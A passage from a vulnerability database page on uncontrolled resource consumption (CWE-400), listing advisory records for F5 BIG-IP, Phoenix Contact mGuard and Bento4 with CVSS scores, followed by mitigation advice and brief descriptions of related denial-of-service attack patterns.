      "url": "http://www.securityfocus.com/bid/52898"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1027032"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2132-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQP8-9MV7-5H3C

Vulnerability from github – Published: 2022-10-20 12:00 – Updated: 2022-10-24 19:00
VLAI
Details

In versions 16.1.x before 16.1.3.2 and 15.1.x before 15.1.5.1, when BIG-IP AFM Network Address Translation policy with IPv6/IPv4 translation rules is configured on a virtual server, undisclosed requests can cause an increase in memory resource utilization.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-41806"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-19T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "In versions 16.1.x before 16.1.3.2 and 15.1.x before 15.1.5.1, when BIG-IP AFM Network Address Translation policy with IPv6/IPv4 translation rules is configured on a virtual server, undisclosed requests can cause an increase in memory resource utilization.",
  "id": "GHSA-xqp8-9mv7-5h3c",
  "modified": "2022-10-24T19:00:25Z",
  "published": "2022-10-20T12:00:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41806"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K00721320"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQR3-VFXG-3QJR

Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36
VLAI
Details

A Resource Exhaustion issue was discovered in Phoenix Contact GmbH mGuard firmware versions 8.3.0 to 8.4.2. An attacker may compromise the device's availability by performing multiple initial VPN requests.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-7935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-19T03:29:00Z",
    "severity": "HIGH"
  },
  "details": "A Resource Exhaustion issue was discovered in Phoenix Contact GmbH mGuard firmware versions 8.3.0 to 8.4.2. An attacker may compromise the device\u0027s availability by performing multiple initial VPN requests.",
  "id": "GHSA-xqr3-vfxg-3qjr",
  "modified": "2022-05-13T01:36:12Z",
  "published": "2022-05-13T01:36:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7935"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-131-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQWJ-7JPH-VRCJ

Vulnerability from github – Published: 2024-02-09 15:31 – Updated: 2024-02-13 00:30
VLAI
Details

Bento4 v1.6.0-640 was discovered to contain an out-of-memory bug via the AP4_DataBuffer::ReallocateBuffer() function.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-25451"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-09T15:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Bento4 v1.6.0-640 was discovered to contain an out-of-memory bug via the AP4_DataBuffer::ReallocateBuffer() function.",
  "id": "GHSA-xqwj-7jph-vrcj",
  "modified": "2024-02-13T00:30:26Z",
  "published": "2024-02-09T15:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25451"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axiomatic-systems/Bento4/issues/872"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XR65-FGV2-R9VH

Vulnerability from github – Published: 2025-08-05 03:31 – Updated: 2025-08-05 03:31
VLAI
Details

A vulnerability, which was classified as problematic, was found in Axiomatic Bento4 up to 1.6.0-641. Affected is the function AP4_DataBuffer::SetDataSize of the file Mp4Decrypt.cpp of the component mp4decrypt. The manipulation leads to allocation of resources. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used.

Severity
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
2.9 (Low)
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-8537"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-617"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-05T01:15:43Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as problematic, was found in Axiomatic Bento4 up to 1.6.0-641. Affected is the function AP4_DataBuffer::SetDataSize of the file Mp4Decrypt.cpp of the component mp4decrypt. The manipulation leads to allocation of resources. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-xr65-fgv2-r9vh",
  "modified": "2025-08-05T03:31:18Z",
  "published": "2025-08-05T03:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8537"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axiomatic-systems/Bento4/issues/1037"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1AkRpx3wcMy3Ic9tQeQyRJybBipK72aQO/view?usp=drive_link"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.318666"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.318666"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.619602"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list